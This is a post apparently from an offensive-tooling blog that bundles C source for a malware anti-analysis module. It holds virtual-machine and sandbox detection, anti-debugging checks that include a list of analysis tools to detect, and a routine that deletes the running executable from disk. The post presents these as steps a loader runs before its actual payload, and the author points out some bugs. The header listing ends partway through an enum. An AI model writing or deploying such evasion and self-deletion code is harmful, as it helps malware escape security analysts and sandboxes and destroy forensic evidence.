Anti-Analysis Techniques

What is it?

A combined post containing three separate source files: the anti-virtual techniques (hardware/display/process checks), the anti-debugging techniques (PEB/NtQueryInformationProcess/HWBP/BlockSoftware/timing), and the self-deletion routine. Each is documented individually in its own post — this one bundles all three together as a comprehensive anti-analysis module.

How it works

Refer to the individual posts for full breakdowns:

• Anti-Virtual-Techniques — HardwareCheck (CPU, RAM, USB history), CheckDisplayProperties (monitor resolution), CheckProcesses (process count < 65)
• AntiDebugging — IsDebuggerPresent1 (PEB), NtQInfoProcess (ProcessDebugPort/Handle), HWBP_Check (DR0-3 registers), BlockSoftware (process name check), TimeCheck1 (GetTickCount64 delta)
• AntiDebugging-SelfDeletion — RDRAND-based random ADS rename + POSIX delete-on-close

The combined flow in a real loader would run these in sequence:

Start
  │
  ▼
Anti-Virtual checks (HardwareCheck, CheckDisplayProperties, CheckProcesses)
  │ any fail → exit
  ▼
Anti-Debug checks (PEB, NtQuery, HWBP, BlockSoftware, TimeCheck)
  │ any fail → exit
  ▼
Self-delete from disk (ADS rename + POSIX delete)
  │
  ▼
Run actual payload

The key bug present in this version (same as in the individual Anti-Virtual post): main() checks if (HardwareCheck) rather than if (HardwareCheck()) — evaluating the function pointer instead of calling it. This means all three anti-VM checks always report “detected” regardless of the actual environment. The anti-debug checks do call correctly (if (IsDebuggerPresent1())).

Techniques.c

#include <Windows.h>
#include <stdio.h>
#include <Shlwapi.h>
#include <Psapi.h>

#pragma comment(lib, "Shlwapi.lib")


// Detect VM by hardware
BOOL HardwareCheck() {

    SYSTEM_INFO SysInfo = { 0 };
    MEMORYSTATUSEX MemInfo = { 0 };
    HKEY hKey = NULL;
    DWORD dwNumUSB = NULL;
    DWORD dwRegErr = NULL;


    // ---------------- CPU CHECK ----------------
    // Fills SysInfo with CPU/core details (logical processors, architecture, etc.)
    GetSystemInfo(&SysInfo);

    // If system has fewer than 2 logical processors, flag as VM-like
    // Many VMs are configured with 1 CPU core
    if (SysInfo.dwNumberOfProcessors < 2)
        return TRUE;;


    // ---------------- RAM CHECK ----------------
    // Queries physical memory (RAM) information
    if (!GlobalMemoryStatusEx(&MemInfo)) {

        // If API fails, print error code
        printf("[!] GlobalMemoryEx Failed %d \n", GetLastError());

        // Return FALSE because memory info couldn't be retrieved
        return FALSE;
    }

    // If total physical RAM is less than 2 GB, flag as VM-like
    // (Note: value should be in bytes, not KB or MB)
    if ((DWORD)MemInfo.ullTotalPhys < (DWORD)(2 * 1024 * 1024 * 1024)) {
        return TRUE;
    }


    // ---------------- USB HISTORY CHECK ----------------
    // Opens registry key that stores USB storage device history
    dwRegErr = RegOpenKeyExA(
        HKEY_LOCAL_MACHINE,
        "SYSTEM\\ControlSet001\\Enum\\USBSTOR",
        NULL,
        KEY_READ,
        &hKey
    );

    // If registry key cannot be opened, log error and exit
    if (dwRegErr != ERROR_SUCCESS) {
        printf("[!] RegOpenKeyExA Failed: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
        return FALSE;
    }

    // Queries number of subkeys under USBSTOR (USB devices ever connected)
    dwRegErr = RegQueryInfoKeyA(
        hKey,
        NULL, NULL, NULL,
        &dwNumUSB,   // receives number of subkeys
        NULL, NULL, NULL, NULL, NULL, NULL, NULL
    );

    // If query fails, return FALSE (cannot evaluate environment)
    if (dwRegErr != ERROR_SUCCESS) {
        printf("[!] RegQueryInfoKeyA Failed: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
        return FALSE;
    }

    // If fewer than 2 USB devices were ever mounted, flag as VM-like
    // Many fresh VMs have no USB history
    if (dwNumUSB < 2) {
        return TRUE;
    }

    // Close registry handle to avoid resource leak
    RegCloseKey(hKey);

    // If none of the checks triggered, assume NOT VM
    return FALSE;
}


// Detect VM based on Display resolution
BOOL CALLBACK ResolutionCallback(
    _In_ HMONITOR hMonitor,
    _In_ HDC hdcMonitor,
    _In_ LPRECT lpRect,
    _In_ LPARAM ldata
) {

    // X and Y resolution values of current monitor
    int X, Y = 0;

    // Structure that stores monitor information
    MONITORINFO MonitorInfo = { .cbSize = sizeof(MONITORINFO) };


    // Get monitor details (resolution, coordinates, etc.)
    if (!GetMonitorInfoW(hMonitor, &MonitorInfo)) {
        printf("[!] GetMonitorInfoW Failed With Error : % d \n", GetLastError());
        return FALSE;
    }

    // Calculate horizontal resolution (width)
    // right - left gives width of monitor
    X = MonitorInfo.rcMonitor.right - MonitorInfo.rcMonitor.left;

    // Calculate vertical resolution (height)
    // top - bottom gives height (may be negative depending on coordinate system)
    Y = MonitorInfo.rcMonitor.top - MonitorInfo.rcMonitor.bottom;

    // If negative values occur, convert to positive
    if (X < 0)
        X = -X;
    if (Y < 0)
        Y = -Y;

    // If resolution does NOT match common real-world values,
    // mark system as suspicious (likely VM or sandbox display config)
    if ((X != 1920 && X != 2560 && X != 1440) ||
        (Y != 1080 && Y != 1200 && Y != 1600 && Y != 900))
    {
        // Set flag passed via LPARAM to TRUE (VM detected)
        *((BOOL*)ldata) = TRUE;
    }

    // Continue enumeration of other monitors
    return TRUE;
}


// Checks Display properties.
BOOL CheckDisplayProperties() {

    // Flag indicating whether suspicious display config was found
    BOOL SandBx = FALSE;

    // Enumerate all connected monitors and run callback for each
    EnumDisplayMonitors(NULL, NULL, ResolutionCallback, (LPARAM)(&SandBx));

    // NOTE: This should return SandBx, not FALSE
    return FALSE;
}


// Process-based VM heuristic check
BOOL CheckProcesses() {

    // Array that receives process IDs (PIDs)
    DWORD dwProcesses[1024];

    // Number of bytes returned by EnumProcesses
    DWORD dwReturnLen;

    // Number of processes calculated from bytes returned
    DWORD dwNumPids = NULL;


    // Retrieve list of running processes
    if (!EnumProcesses(dwProcesses, sizeof(dwProcesses), &dwReturnLen)) {
        printf("[!] EnumProcesses Failed: %d \n", GetLastError());
        return FALSE;
    }

    // Convert byte size into number of process IDs
    // Each PID is a DWORD (4 bytes)
    dwNumPids = dwReturnLen / sizeof(DWORD);


    // If system has fewer than 65 running processes,
    // it may indicate a VM or sandbox environment
    if (dwNumPids < 65) {
        return TRUE;
    }

    // Otherwise assume normal system
    return FALSE;
}


// Main program entry
int main() {

    // Wait for user input before starting checks
    printf("[+] Press <Enter> To Start \n");
    getchar();

    printf("[+] Checking: Hardware Related Checks \n");

    // Run hardware VM detection
    if (HardwareCheck) {
        printf("[!] HardwareCheck Detected VM! \n");
    }
    else
        printf("\t[+] Passed HardwareCheck() \n");


    printf("[+] Checking: Monitor Properties \n");

    // Run display-based VM detection
    if (CheckDisplayProperties) {
        printf("[!] CheckDisplayProperties Detected VM! \n");
    }
    else
        printf("\t[+] Passed CheckDisplayProperties() \n");


    printf("[+] Checking: Processes \n");

    // Run process count heuristic
    if (CheckProcesses) {
        printf("[!] CheckProcesses Detected VM! \n");
    }
    else
        printf("\t[+] Passed CheckProcesses() \n");

    return 0;
}

Techniques.c

#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include "structs.h"

/*
	IsdebuggerPresent() API, returns TRUE if a debugger is being attached to the calling process
*/


BOOL IsDebuggerPresent1() {

	// Get address PEB (GSx60 is PEB pointer)
	PPEB pPeb = (PEB*)(__readgsqword(0x60));

	if (pPeb->BeingDebugged == 1)
		return TRUE;
	return FALSE;

}

/*
	NtQueryInformationProcess detects debugging via ProcessDebugPort & ProcessDebugObjectHandle
*/

BOOL NtQInfoProcess() {

	NTSTATUS                      STATUS = NULL;
	fnNtQueryInformationProcess   pNtQueryInformationProcess = NULL;
	DWORD64                       dwIsDebuggerPresent = NULL;
	DWORD64                       hProcessDebugObject = NULL;

	// Get Memory Address NtQueryInformationProcess from ntdll.dll
	pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandle(TEXT("NTDLL.DLL")), "NtQueryInformationProcess");


	// ProcessDebugPort Method
	STATUS = pNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &dwIsDebuggerPresent, sizeof(DWORD64), NULL);
	if (STATUS != 0x0) {
		printf("[!] NtQueryInformationProcess Failed: 0x%0.8X \n", STATUS);
		return FALSE;
	}

	if (dwIsDebuggerPresent) {
		printf("[+] Debugger Detected!\n");
		return TRUE;
	}


	// ProcessDebugObjectHandle Method
	STATUS = pNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugObjectHandle, &hProcessDebugObject, sizeof(DWORD64), NULL);
	if (STATUS != 0x0 && STATUS != 0xC0000353) {
		printf("[!] NtQueryInformationProcess Failed: 0x%0.8X \n", STATUS);
		return FALSE;
	}

	if (hProcessDebugObject)
		return TRUE;

	return FALSE;
}

/*
	Hardware breakpoint detection, checks if the registers dr0-3 are 0
*/

BOOL HWBP_Check() {
	CONTEXT Ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

	// Get current threadcontext
	if (!GetThreadContext(GetCurrentThread(), &Ctx)) {
		printf("[!] GetThreadContext Failed %d \n", GetLastError());
		return FALSE;
	}

	// Check Hardware Breakpoint by checking registers aren't set to 0
	if (Ctx.Dr0 || Ctx.Dr1 || Ctx.Dr2 || Ctx.Dr3) {
		printf("[+] Debugger Detected ! \n");
		return TRUE;
	}

	return FALSE;
}


/*
	Detect Debuggers Via Name (Array)
*/

WCHAR* g_BlockSoftware[5] = {
	L"x64dbg.exe",
	L"x32dbg.exe",
	L"binaryninja.exe",
	L"VsDebugConsole.exe",
	L"ida.exe"
};

BOOL BlockSoftware() {

	HANDLE hSnapshot = NULL;
	PROCESSENTRY32W		ProcEntry = { .dwSize = sizeof(PROCESSENTRY32W) };
	BOOL				bSTATE = FALSE;

	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	if (hSnapshot == INVALID_HANDLE_VALUE) {
		printf("[!] CreateToolHelp32Snapshot Failed %d \n", GetLastError());
		goto _End;
	}

	if (!Process32FirstW(hSnapshot, &ProcEntry)) {
		printf("[!] Process32FirstW Failed %d \n", GetLastError());
		goto _End;
	}

	do {
		for (int i = 0; i < 5; i++) {
			if (wcscmp(ProcEntry.szExeFile, g_BlockSoftware[i]) == 0) {
				wprintf(L"\t[+] Found \"%ls\" Of Pid %d \n", ProcEntry.szExeFile, ProcEntry.th32ProcessID);
				bSTATE = TRUE;
				break;
			}
		}

		if (bSTATE)
			break;
	} while (Process32NextW(hSnapshot, &ProcEntry));

_End:
	if (!hSnapshot)
		CloseHandle(hSnapshot);
	return bSTATE;
}

/*
	Detect debugging by evaluating time started and current time, if to long its being debugged GetTickCount64()
*/

BOOL TimeCheck1() {
	DWORD dwTime1, dwTime2 = 0;

	dwTime1 = GetTickCount64();
	dwTime2 = GetTickCount64();

	if ((dwTime2 - dwTime1) > 70)
		return TRUE;

	return FALSE;
}

/*
	Send message to debugger is thats succeeds debugging is happening
*/

BOOL SendMessageDbg() {

	// Make sure value is non 0 before execution
	SetLastError(1);
	OutputDebugStringW(L"N0xshell");

	if (GetLastError())
		return TRUE;
	return FALSE;
}

int main() {

	printf("[+] Press <Enter> To Start Anti Analysis Techniques! \n");
	getchar();

	// Method: IsDebuggerPresent
	printf("[+] Running: IsDebuggerPresent1 \n");
	if (IsDebuggerPresent1()) {
		printf("[!] Debugger Detected [IsDebuggerPresent1] \n");
		exit(1);
	}
	else
		printf("\t[+] IsDebuggerPresent1 Done! \n");

	// Method: NtQueryInformationProcess
	printf("[+] Running: NtQInfoProcess \n");
	if (NtQInfoProcess()) {
		printf("[!] Debugger Detected [NtQInfoProcess] \n");
		exit(1);
	}
	else
		printf("\t[+] NtQInfoProcess Done! \n");

	// Method: HWBP_Check (Thread Register check)
	printf("[+] Running: HWBP_Check \n");
	if (HWBP_Check()) {
		printf("[!] Debugger Detected [HWBP_Check] \n");
		exit(1);
	}
	else
		printf("\t[+] HWBP_Check Done \n");

	// Method: BlockSoftware Check
	printf("[+] Running: BlockSoftware \n");
	if (BlockSoftware()) {
		printf("[!] Debugger Detected [BlockSoftware] \n");
		exit(1);
	}
	else
		printf("\t[+] BlockSoftware Done \n");

	// Method: TimeCheck
	printf("[+] Running: TimeCheck1 \n");
	if (TimeCheck1()) {
		printf("[!] Debugger Detected [TimeCheck1] \n");
		exit(1);
	}
	else
		printf("\t[+] TimeCheck1 Done \n");


	printf("[+] Press <Enter> To Exit! \n");
	getchar();
	return 0;
}

SelfDeletion.c

#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define NEW_STREAM ":N0xshell"
#define RAND_MAX 0x7FFF

// Static -> only visible within the current translation unit.
// Uses the CPU RDRAND instruction to generate a random 32-bit value.
static unsigned int rdrand32(void) {
	UINT32 uRandomV = 0x00;

	if (_rdrand32_step(&uRandomV)) {
		return (uRandomV % (RAND_MAX + 1u));
	}

	return 0;
}

BOOL DeleteSelf(void) {

	WCHAR wcNewStream[7] = L":%x%x\x00";
	BOOL bState = FALSE;

	// Buffer that receives the fully qualified path of the current executable.
	WCHAR wcFileName[MAX_PATH * 2] = { 0x00 };

	FILE_RENAME_INFO RenameInfo = { 0 };
	RenameInfo.FileNameLength = sizeof(wcNewStream);
	RenameInfo.ReplaceIfExists = FALSE;
	RenameInfo.RootDirectory = NULL;

	FILE_DISPOSITION_INFO_EX FileDisposalInfoEx = { 0 };

	// Handle to the current executable.
	HANDLE hLocalImgFile = INVALID_HANDLE_VALUE;

	// Retrieve the fully qualified path of the current executable.
	if (GetModuleFileNameW(NULL, wcFileName, MAX_PATH * 2) == 0x00) {
		printf("[!] GetModuleFileNameW Failed: %d \n", GetLastError());
		goto _End;
	}

	// Generate a random alternate data stream name.
	swprintf(RenameInfo.FileName, MAX_PATH, wcNewStream, rdrand32(), rdrand32());

	// Open the current executable with delete access.
	if ((hLocalImgFile = CreateFileW(wcFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileW %d Failed: %d \n", __LINE__, GetLastError());
		return bState;
	}

	// Rename the file's alternate data stream.
	if (!SetFileInformationByHandle(hLocalImgFile, FileRenameInfo, &RenameInfo, sizeof(RenameInfo))) {
		printf("[!] SetFileInformationByHandle %d Failed: %lu\n", __LINE__, GetLastError());
		goto _End;
	}

	CloseHandle(hLocalImgFile);

	// Reopen the executable before marking it for deletion.
	if ((hLocalImgFile = CreateFileW(wcFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileW %d Failed: %d \n", __LINE__, GetLastError());
		goto _End;
	}

	// Configure POSIX-style delete-on-close semantics.
	FileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE | FILE_DISPOSITION_FLAG_POSIX_SEMANTICS;

	// Mark the file for deletion.
	if (!SetFileInformationByHandle(hLocalImgFile, FileDispositionInfoEx, &FileDisposalInfoEx, sizeof(FILE_DISPOSITION_INFO_EX))) {
		printf("[!] SetFileInformationByHandle %d Failed: %d \n", __LINE__, GetLastError());
		goto _End;
	}

	bState = TRUE;

_End:

	// Ensure any open handle is released.
	if (hLocalImgFile != INVALID_HANDLE_VALUE)
		CloseHandle(hLocalImgFile);

	return bState;
}

int main(int argc, char* argv[]) {

	if (!DeleteSelf()) {
		return -1;
	}

	printf("[+] %s Should Be Deleted \n", argv[0]);

	printf("[!] Press <Enter> To Quit \n");
	getchar();

	return 0;

}

structs.h

#pragma once

#include <Windows.h>



#ifndef STRUCTS
#define STRUCTS


typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PEB_LDR_DATA {
    ULONG                   Length;
    ULONG                   Initialized;
    PVOID                   SsHandle;
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef PVOID PACTIVATION_CONTEXT;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    WORD LoadCount;
    WORD TlsIndex;
    union {
        LIST_ENTRY HashLinks;
        struct {
            PVOID SectionPointer;
            ULONG CheckSum;
        };
    };
    union {
        ULONG TimeDateStamp;
        PVOID LoadedImports;
    };
    PACTIVATION_CONTEXT EntryPointActivationContext;
    PVOID PatchInformation;
    LIST_ENTRY ForwarderLinks;
    LIST_ENTRY ServiceTagLinks;
    LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;




typedef struct _PEB
{
    UCHAR InheritedAddressSpace;
    UCHAR ReadImageFileExecOptions;
    UCHAR BeingDebugged;
    union
    {
        UCHAR BitField;
        struct
        {
            UCHAR ImageUsesLargePages : 1;
            UCHAR IsProtectedProcess : 1;
            UCHAR IsImageDynamicallyRelocated : 1;
            UCHAR SkipPatchingUser32Forwarders : 1;
            UCHAR IsPackagedProcess : 1;
            UCHAR IsAppContainer : 1;
            UCHAR IsProtectedProcessLight : 1;
            UCHAR IsLongPathAwareProcess : 1;
        };
    };
    UCHAR Padding0[4];
    VOID* Mutant;
    VOID* ImageBaseAddress;
    struct _PEB_LDR_DATA* Ldr;
    struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
    VOID* SubSystemData;
    VOID* ProcessHeap;
    struct _RTL_CRITICAL_SECTION* FastPebLock;
    union _SLIST_HEADER* volatile AtlThunkSListPtr;
    VOID* IFEOKey;
    union
    {
        ULONG CrossProcessFlags;
        struct
        {
            ULONG ProcessInJob : 1;
            ULONG ProcessInitializing : 1;
            ULONG ProcessUsingVEH : 1;
            ULONG ProcessUsingVCH : 1;
            ULONG ProcessUsingFTH : 1;
            ULONG ProcessPreviouslyThrottled : 1;
            ULONG ProcessCurrentlyThrottled : 1;
            ULONG ProcessImagesHotPatched : 1;
            ULONG ReservedBits0 : 24;
        };
    };
    UCHAR Padding1[4];
    union
    {
        VOID* KernelCallbackTable;
        VOID* UserSharedInfoPtr;
    };
    ULONG SystemReserved;
    ULONG AtlThunkSListPtr32;
    VOID* ApiSetMap;
    ULONG TlsExpansionCounter;
    UCHAR Padding2[4];
    VOID* TlsBitmap;
    ULONG TlsBitmapBits[2];
    VOID* ReadOnlySharedMemoryBase;
    VOID* SharedData;
    VOID** ReadOnlyStaticServerData;
    VOID* AnsiCodePageData;
    VOID* OemCodePageData;
    VOID* UnicodeCaseTableData;
    ULONG NumberOfProcessors;
    ULONG NtGlobalFlag;
    union _LARGE_INTEGER CriticalSectionTimeout;
    ULONGLONG HeapSegmentReserve;
    ULONGLONG HeapSegmentCommit;
    ULONGLONG HeapDeCommitTotalFreeThreshold;
    ULONGLONG HeapDeCommitFreeBlockThreshold;
    ULONG NumberOfHeaps;
    ULONG MaximumNumberOfHeaps;
    VOID** ProcessHeaps;
    VOID* GdiSharedHandleTable;
    VOID* ProcessStarterHelper;
    ULONG GdiDCAttributeList;
    UCHAR Padding3[4];
    struct _RTL_CRITICAL_SECTION* LoaderLock;
    ULONG OSMajorVersion;
    ULONG OSMinorVersion;
    USHORT OSBuildNumber;
    USHORT OSCSDVersion;
    ULONG OSPlatformId;
    ULONG ImageSubsystem;
    ULONG ImageSubsystemMajorVersion;
    ULONG ImageSubsystemMinorVersion;
    UCHAR Padding4[4];
    ULONGLONG ActiveProcessAffinityMask;
    ULONG GdiHandleBuffer[60];
    VOID(*PostProcessInitRoutine)();
    VOID* TlsExpansionBitmap;
    ULONG TlsExpansionBitmapBits[32];
    ULONG SessionId;
    UCHAR Padding5[4];
    union _ULARGE_INTEGER AppCompatFlags;
    union _ULARGE_INTEGER AppCompatFlagsUser;
    VOID* pShimData;
    VOID* AppCompatInfo;
    struct _UNICODE_STRING CSDVersion;
    struct _ACTIVATION_CONTEXT_DATA* ActivationContextData;
    struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap;
    struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData;
    struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap;
    ULONGLONG MinimumStackCommit;
    struct _FLS_CALLBACK_INFO* FlsCallback;
    struct _LIST_ENTRY FlsListHead;
    VOID* FlsBitmap;
    ULONG FlsBitmapBits[4];
    ULONG FlsHighIndex;
    VOID* WerRegistrationData;
    VOID* WerShipAssertPtr;
    VOID* pUnused;
    VOID* pImageHeaderHash;
    union
    {
        ULONG TracingFlags;
        struct
        {
            ULONG HeapTracingEnabled : 1;
            ULONG CritSecTracingEnabled : 1;
            ULONG LibLoaderTracingEnabled : 1;
            ULONG SpareTracingBits : 29;
        };
    };
    UCHAR Padding6[4];
    ULONGLONG CsrServerReadOnlySharedMemoryBase;
    ULONGLONG TppWorkerpListLock;
    struct _LIST_ENTRY TppWorkerpList;
    VOID* WaitOnAddressHashTable[128];
    VOID* TelemetryCoverageHeader;
    ULONG CloudFileFlags;
    ULONG CloudFileDiagFlags;
    CHAR PlaceholderCompatibilityMode;
    CHAR PlaceholderCompatibilityModeReserved[7];
    struct _LEAP_SECOND_DATA* LeapSecondData;
    union
    {
        ULONG LeapSecondFlags;
        struct
        {
            ULONG SixtySecondEnabled : 1;
            ULONG Reserved : 31;
        };
    };
    ULONG NtGlobalFlag2;
} PEB, * PPEB;


// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h#L110
typedef enum _PROCESSINFOCLASS
{
    ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION
    ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX
    ProcessIoCounters, // q: IO_COUNTERS
    ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2
    ProcessTimes, // q: KERNEL_USER_TIMES
    ProcessBasePriority, // s: KPRIORITY
    ProcessRaisePriority, // s: ULONG
    ProcessDebugPort, // q: HANDLE
    ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT (requires SeTcbPrivilege)
    ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN
    ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10
    ProcessLdtSize, // s: PROCESS_LDT_SIZE
    ProcessDefaultHardErrorMode, // qs: ULONG
    ProcessIoPortHandlers, // (kernel-mode only) // PROCESS_IO_PORT_HANDLER_INFORMATION
    ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS
    ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void
    ProcessUserModeIOPL, // qs: ULONG (requires SeTcbPrivilege)
    ProcessEnableAlignmentFaultFixup, // s: BOOLEAN
    ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS
    ProcessWx86Information, // qs: ULONG (requires SeTcbPrivilege) (VdmAllowed)
    ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20
    ProcessAffinityMask, // (q >WIN7)s: KAFFINITY, qs: GROUP_AFFINITY
    ProcessPriorityBoost, // qs: ULONG
    ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX
    ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION
    ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND
    ProcessWow64Information, // q: ULONG_PTR
    ProcessImageFileName, // q: UNICODE_STRING
    ProcessLUIDDeviceMapsEnabled, // q: ULONG
    ProcessBreakOnTermination, // qs: ULONG
    ProcessDebugObjectHandle, // q: HANDLE // 30
    ProcessDebugFlags, // qs: ULONG
    ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables
    ProcessIoPriority, // qs: IO_PRIORITY_HINT
    ProcessExecuteFlags, // qs: ULONG
    ProcessTlsInformation, // PROCESS_TLS_INFORMATION // ProcessResourceManagement
    ProcessCookie, // q: ULONG
    ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION
    ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA
    ProcessPagePriority, // qs: PAGE_PRIORITY_INFORMATION
    ProcessInstrumentationCallback, // s: PVOID or PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40
    ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX
    ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]
    ProcessImageFileNameWin32, // q: UNICODE_STRING
    ProcessImageFileMapping, // q: HANDLE (input)
    ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE
    ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE
    ProcessGroupInformation, // q: USHORT[]
    ProcessTokenVirtualizationEnabled, // s: ULONG
    ProcessConsoleHostProcess, // qs: ULONG_PTR // ProcessOwnerInformation
    ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50
    ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8
    ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION
    ProcessDynamicFunctionTableInformation,
    ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables
    ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION
    ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION
    ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL
    ProcessHandleTable, // q: ULONG[] // since WINBLUE
    ProcessCheckStackExtentsMode, // qs: ULONG // KPROCESS->CheckStackExtents (CFG)
    ProcessCommandLineInformation, // q: UNICODE_STRING // 60
    ProcessProtectionInformation, // q: PS_PROTECTION
    ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD
    ProcessFaultInformation, // PROCESS_FAULT_INFORMATION
    ProcessTelemetryIdInformation, // q: PROCESS_TELEMETRY_ID_INFORMATION
    ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION
    ProcessDefaultCpuSetsInformation, // SYSTEM_CPU_SET_INFORMATION[5]
    ProcessAllowedCpuSetsInformation, // SYSTEM_CPU_SET_INFORMATION[5]
    ProcessSubsystemProcess,
    ProcessJobMemoryInformation, // q: PROCESS_JOB_MEMORY_INFO
    ProcessInPrivate, // s: void // ETW // since THRESHOLD2 // 70
    ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables
    ProcessIumChallengeResponse,
    ProcessChildProcessInformation, // q: PROCESS_CHILD_PROCESS_INFORMATION
    ProcessHighGraphicsPriorityInformation, // qs: BOOLEAN (requires SeTcbPrivilege)
    ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2
    ProcessEnergyValues, // q: PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES
    ProcessPowerThrottlingState, // qs: POWER_THROTTLING_PROCESS_STATE
    ProcessReserved3Information, // ProcessActivityThrottlePolicy // PROCESS_ACTIVITY_THROTTLE_POLICY
    ProcessWin32kSyscallFilterInformation, // q: WIN32K_SYSCALL_FILTER
    ProcessDisableSystemAllowedCpuSets, // 80
    ProcessWakeInformation, // PROCESS_WAKE_INFORMATION
    ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE
    ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3
    ProcessCaptureTrustletLiveDump,
    ProcessTelemetryCoverage,
    ProcessEnclaveInformation,
    ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION
    ProcessUptimeInformation, // q: PROCESS_UPTIME_INFORMATION
    ProcessImageSection, // q: HANDLE
    ProcessDebugAuthInformation, // since REDSTONE4 // 90
    ProcessSystemResourceManagement, // PROCESS_SYSTEM_RESOURCE_MANAGEMENT
    ProcessSequenceNumber, // q: ULONGLONG
    ProcessLoaderDetour, // since REDSTONE5
    ProcessSecurityDomainInformation, // PROCESS_SECURITY_DOMAIN_INFORMATION
    ProcessCombineSecurityDomainsInformation, // PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION
    ProcessEnableLogging, // PROCESS_LOGGING_INFORMATION
    ProcessLeapSecondInformation, // PROCESS_LEAP_SECOND_INFORMATION
    ProcessFiberShadowStackAllocation, // PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1
    ProcessFreeFiberShadowStackAllocation, // PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION
    ProcessAltSystemCallInformation, // qs: BOOLEAN (kernel-mode only) // INT2E // since 20H1 // 100
    ProcessDynamicEHContinuationTargets, // PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION
    ProcessDynamicEnforcedCetCompatibleRanges, // PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE_INFORMATION // since 20H2
    ProcessCreateStateChange, // since WIN11
    ProcessApplyStateChange,
    ProcessEnableOptionalXStateFeatures,
    ProcessAltPrefetchParam, // since 22H1
    ProcessAssignCpuPartitions,
    ProcessPriorityClassEx, // s: PROCESS_PRIORITY_CLASS_EX
    ProcessMembershipInformation,
    ProcessEffectiveIoPriority, // q: IO_PRIORITY_HINT
